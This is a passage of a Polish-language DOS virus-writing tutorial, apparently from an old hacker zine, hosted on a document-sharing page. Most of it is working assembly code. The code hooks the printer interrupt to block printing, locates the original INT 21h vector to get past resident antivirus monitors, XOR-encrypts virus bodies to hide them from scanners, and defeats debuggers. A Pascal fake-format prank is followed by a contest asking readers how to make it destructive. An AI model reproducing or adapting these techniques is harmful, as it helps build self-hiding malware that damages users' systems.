MOV WORD PTR ES:[(08H*04H)],CS
MOV WORD PTR ES:[(08H*04H)+02H],DX
STI

Dlaczego? Pomysl: przerwanie 08H generowane jest 18.2 raza na sekunde.
Co sie stanie, gdy wykona sie pierwsza linia (zapisanie nowego segmentu)
i w tym wlasnie momencie wygenerowane zostanie przerwanie 08H? Pod jaki
adres skoczy? Diabli wiedza! Wiec nalezy uwazac.

Dobra! To tyle o metodzie. A teraz cos jeszcze. Projektujac wirusa
(jak przy kazdym dobrym programie) musimy sie zastanowic, czy bedziemy
przejmowac przerwanie, by zastapic calkowicie jego procedure, czy tylko
aby sie do niego podczepic? Takim przykladem moze byc przerwanie drukarki
(17H). Jezeli chcemy, by nasz wirus blokowal drukowanie, to nie musimy
zapamietywac adresu oryginalnego przerwania, tylko pakujemu tam siebie
i po ptokach! Jezeli zas chcielibysmy, aby drukarka wariowala na przyklad
przy literze "V", to musimy sie tylko podczepic.

Teraz, gdy wiemy juz jak doklejac (manualnie) nasz program do innego,
zajmijmy sie tylko wygladem naszego doczepianego kawalka. Dopiszmy do
niego procedure, ktora bedzie w momencie uruchomienia przejmowala
przerwanie drukarki na stale blokujac drukowanie: ; *******************Ciachnij***********************

@MOJE:
MOV BX,WORD PTR CS:[101H]

; PODMIENIENIE ADRESU PROCEDURY OBSLUGI INT 17H
PUSH DS
PUSH 0000H
POP DS
MOV WORD PTR DS:[(17H*04H)],CS
MOV AX,(((OFFSET @MOJE_INT_17H)-(OFFSET @MOJE))+103H)
ADD AX,BX
MOV WORD PTR DS:[(17H*04H)+02H],AX
POP DS

; CIAG DALSZY NIE ZMIENIONY
MOV AH,09H
MOV DX,(((OFFSET @TEKST)-(OFFSET @MOJE))+103H)
ADD DX,BX
INT 21H
MOV SI,(((OFFSET @BUFOR)-(OFFSET @MOJE))+103H)
ADD SI,BX
MOV DI,100H
PUSH DI
MOV CX,0003H
REP MOVSB
POP SI
JMP SI

; MOJA PROCEDURA OBSLUGI PRZERWANIA DRUKARKI
@MOJE_INT_17H:
MOV AH,00101011B ; ZWROC BLAD WYDRUKU
IRET

@MOJE_INT_17H_END:

; CIAG DALSZY NIE ZMIENIONY
@TEKST: DB 'PRZYKLAD WIRA$'
@BUFOR: DB 3 DUP (0)
@MOJE_END:

; *******************Ciachnij***********************

I co? Wszystko dziala pieknie do czasu, gdy drukuje ten program, ktory
zarazilismy. Po wyjsciu z niego, proba wydruku czegokolwiek moze
zakonczyc sie zawieszeniem komputera. Dlaczego? Otoz zastanow sie, co sie
dzieje z @MOJE_INT_17H po zakoczeniu pracy programu? Pozostaje w pamieci,
ktora jest wolna! Wolna, i moze tam sie ponownie zaladowac cokolwiek,
zamazujac nasz program obslugi przerwania. Wtedy proba wydruku konczy sie
wywolaniem INT 17H, ktore skacze pod adres, gdzie kidys byl nasz program,
znajdyje tam COS, chce to wykonac i... wisi! Sposoby na to sa dwa:
zarezerwowac sobie troche pamieci, lub znalezc nieuzywany obszar pamieci
i tam przechowywac procedure obslugi przerwania.


Punkt 4: Jak zdobyc orginalny wektor przerwania 21h ?
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

W tym miejscu moze ktos zapytac, do czego jest to mi potrzebne lub jaki to
ma zwiazek z wirusami.
A jednak ma! Jesli wirus nie bedzie odwolywal sie do aktualnego przerwania
21h tylko do orginalnego to na pewno ominie rezydentne programy
kontrolujace dzialalnosc wirusow na dysku.

No dobra tyle wyjasnienia teraz metoda. Nie ukrywam, ze jest ona dosc
skomplikowana (kraza pogloski, ze istnieje o wiele prostsza polegajaca na
zczytaniu adresu z komorek :)

Taa. Po pierwsze nalezy wyznaczyc przedzial w jakim napewno znajduje sie
orginalne przerwanie 21h.

-Wyznaczenie dolnej granicy
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Nalezy skorzystac z nie udokumentowanej funkcji

mov ax,1203h
int 2Fh

po takiej operacji ds-wskazuje segment poczatkowy

-Wyznaczenie gornej granicy
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

mov ah,52h
int 21h
sub bx,2
mov ax,es:[bx]

natomiast po tej operacji ax-wskazuje segment koncowy

Nastepnie nalezy podpiac przerwanie 01h (praca krokowa) i na nim
sprawdzac, czy znajdujemy sie w odpowiednim adresie (wiekszym lub
rownym poczatkowemu segmentowi DOS'u i mniejszym lub rownym koncowemu
segmentowi DOS'u). Gdy juz mamy podpiete przerwanie nalezy wywolywac
niewinne funkcje przerwania 21h, jednak nie przez instrukcje INT 21h,
lecz bezposrednio skaczac pod aktualny adres przerwania 21h.
I to by bylo na tyle ;)

W niektorych przypadkach opisana metoda nie zadziala. Dzieje sie tak
wtedy gdy jakis rezydent przechwyci przerwanie 01h.


Punkt 5 : Szyphrowanie.
+-+-+-+-+-+-+-+-+-+-+-+

Taa. Jak wiadomo szyfrowanie nie sprzyja programom antywirusowym.
No a oprocz tego jest to najprostsza i najkrotsza droga do ukrycia
twojego wirusa.

Najpowszechniejsza i bardzo czesto stosowana metoda kodowania jest XOR.
Metoda ta polega na wykonywaniu operacji xor na kazdym bajcie kodu.
Operacja ta moze byc uzywana jednoczesnie do kodowania oraz deszyfracji.

Podam przyklad:

klucz db ? ; powinien sie znajdowac gdzies w obszarze
niezaszyfrowanym

szyfruj:
odszyfruj:
mov ah,klucz
mov cx,czesc_do_szyfracji_koniec - czesc_do_szyfracji_start
mov si,czesc_do_szyfracji_start
mov di,si
xor_petla:
lodsb ; ds:[si] -> al
xor al,ah
stosb ; al -> es:[di]
loop xor_petla
ret

Powyzsza metoda uzywa prostego mechanizmu XOR do szyfrowania lub
odszyfrowywania kodu w pamieci.
Procedura szyfrowania i deszyfracji sa dokladnie takie same. Jest to
spowodowane tajemnicza natura XOR. Mozesz odwolywac sie do tej procedury
z dowolnego miejsca programu, ale upewnij sie ze nie odwolujesz sie do
niej z miejsca w obrebie obszaru do zaszyfrowania, poniewaz program wisnie.
Kiedy bedziesz budowal wira, ustaw klucz na 0. czesc_do_szyfracji_start
i czesc_do_szyfracji_koniec wskazuja na obszar jaki bedzie szyfrowany.
Uzyj call odszyfruj na poczatku wira, po to zeby odszyfrowac plik aby
program mogl ruszyc. Podczas infekcji plikow, najpierw zmien wartosc
klucza, wtedy wstaw call szyfruj, nastepnie zapisz wira na koniec pliku,
i odwolaj sie do procedury odszyfruj. Upewnij sie ze ta czesc nie lezy
w obszarze do zaszyfrowania!


Oki. Podam teraz kolejny extra sposob na szyfrowanie (glownie do tekstu
sie nadaje). Mozna go uzyc z dowolnego miejsca programu i dziala
praktycznie zawsze.
Jest to cholerna zaleta. Zachecam do experymentowania :o)

Oto zrodelko:

szyfruj_deszyfruj_tekst:
mov si,offset tekst
mov cx,ilosc_bajtow
nastepny_bajt:
xor word ptr cs:[si],offset jakas_stala ; np 1934h
inc si
loop nastepny_bajt
ret

Taa. Tekst to wiadomo, w asm wstawiamy jako DB (np. tekst db 'QL !',0)
Jest to bardzo prosty sposob i zarazem b. skuteczny.

Polecam na przyklad cos takiego:

klucz db ?

szyfruj_deszyfruj_napis:
mov si,offset tekst
mov cx,ilosc_bajtow * 2
petelka:
sub word ptr cs:[si],offset dlugosc_pliku
xor word ptr cs:[si],offset klucz
add word ptr cs:[si],offset jakas_stala ; np 9165h
add si,2
loop petelka
ret

No a za klucz to najlepiej jest wstawic jakas zmienna, ktora jest
generowana podczas pracy wirusa. Mozna np. zaladowac date lub czas.
Podam przyklad:

mov ah,2ch
int 21h
mov klucz,dh

Mozna bardziej skomplikowanie. Wszystko zalezy od intencji tworczej
i wyobrazni autora :)


Punkt 6 : Ukrywanie twojego kodu przed oczami innych.
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Taa. Jest bardzo wazne aby utrzymac nasz kod z dala od lepkich raczek
lamerow, ktorzy potrafia np. pozmieniac teksty zawarte w wirze lub
co gorsza (!) sciageli sobie viry, przerobili je nieznacznie a potem
mysla ze sa nie wiadomo kim.
(btw. spotkalem sie juz z takimi przypadkami :-|)

Dobra, ale do rzeczy...

Sposobem jest napisanie programu tak, aby zachowywal sie inaczej,
podczas gdy jest wykonywany pod kontrola debuggera. Wszystko co jest
potrzebne to znajomosc dzialania (przynajmniej minimalna) debuggera.
Programy takie (np. debug.exe czy TD) sledza program poprzez wstawianie
rejestrow za pomoca przerwan int 1 oraz int 3. Odwolywanie do tych
przerwan jest wykorzystywane po kazdej wykonywanej instrukcji.
Wirus ktory chcialby unikac debuggera musialby w takim razie
przemieszczac rejestry dla tych przerwan. Koncowy rezultat bedzie
taki jaki zechcesz. Ponizej macie zrodelko jak to zrobic:

anty_debugger:
push cs
pop ds
mov dx, offset odetnij_deb
mov ax,2501h
int 21h
mov al,03h
int 21h
... ; reszta kodu
odetnij_deb: iret

Mozesz eksperymentowac i umieszczac cos innego pod odetnij_deb
(np. blokowanie klawiatury, itp.)

Kolejny trik, ktory mozna zastosowac to odwolywanie sie z wnetrza twojego
programu do przerwania 3-go. Wtedy jak ktos bedzie probowal uruchomic twoj
program pod kontrola debuggera, to progs bedzie skutecznie zapobiegal
przejeciu punktu startowego za posrednictwem int3, a wiec glownemu
mechanizmowi debuggera. I na tym wlasnie polega cala ta zabawa ;)


===================
#3 LAME ZONE ATTACK
===================

Punkt 1: Format 4 lame ?!
+-+-+-+-+-+-+-+-+-+-+-+-+

Jezeli chcecie przestraszyc jakiegos nieznosnego lamera to zlinujcie mu
ten programik formatujacy i zastartujcie, hehehehe !
Naprawde program nic nie zapisuje tylko uzywa funkcji zczytywania 8-)

; *******************Ciachnij***********************

uses dos;
var s,o,sn,on,ic,ig:word;
b:pointer;
r:registers;

begin
writeln('Formatowanie C: ...');
getintvec($41,b);
s:=seg(b);
o:=ofs(b);
sn:=memw[s:o+2];
on:=memw[s:o];
ic:=memw[sn:on];
ig:=mem[sn:on+2];
for s:=1 to ic do
begin
for o:=1 to ig do
begin
if port[$60]=1 then halt(1);
with r do
begin
dl:=$80;
dh:=1;
ch:=random(256);
al:=1;
cl:=1;
es:=$a000;
bx:=$0000;
ah:=2;
intr($13,r);
end;
end;
end;
end.

; *******************Ciachnij***********************


Punkt 2: Konkurs.
+-+-+-+-+-+-+-+-+

Pytanie 1 : Co nalezy zmienic w zamieszczonym tutaj programie symulujacym
formatowanie twardego dysku, aby zmienil sie on w forme destrukcyjna ;) :)

Pytanie 2 : co to za przerwanie : Í ???

Pytanie 3 : co nalezy zmienic w powyzszym przerwaniu, aby komp "zapytal sie"
czy ma je wykonac ? :-D



Wyszukiwarka

Podobne podstrony:
Jak przygotowac sie do kursu na kategorie A
Vid Żydzi przyznają się do inwazji imigrantów
02 Linux Prawa dostępu do plików i katalogów
Świadomość profilaktyki raka szyjki macicy zglaszajacych sie do poradni K
Jak uczyc sie do egzaminow
Modlitwy kapłana przy ubieraniu się do Mszy Świętej
Premier Donald Tusk podał się do dymisji
Fedak znów dobiera się do OFE
Renesansowy charakter fraszek J Kochanowskiego (w odpowiedzi należy odwołać się do własnych wiadomo
Jak uczyć się do egzaminów
Co znaczy być człowiekiem odwolywac sie do wybranej koncepcji filozofiocznej
Java Przesuwający się do góru napis
Wstretni szefowie Jak nie pozwolic im sie dluzej ranic?z znizania sie do ich poziomu wstrsz
zbliza sie do nas
Jak zdać każdy egzamin MATURA 2008 Jak uczyć się do egzaminu! Wejść na salę i opanować nerwy!
Instrukcja podłączenia sie do internetu na MS

więcej podobnych podstron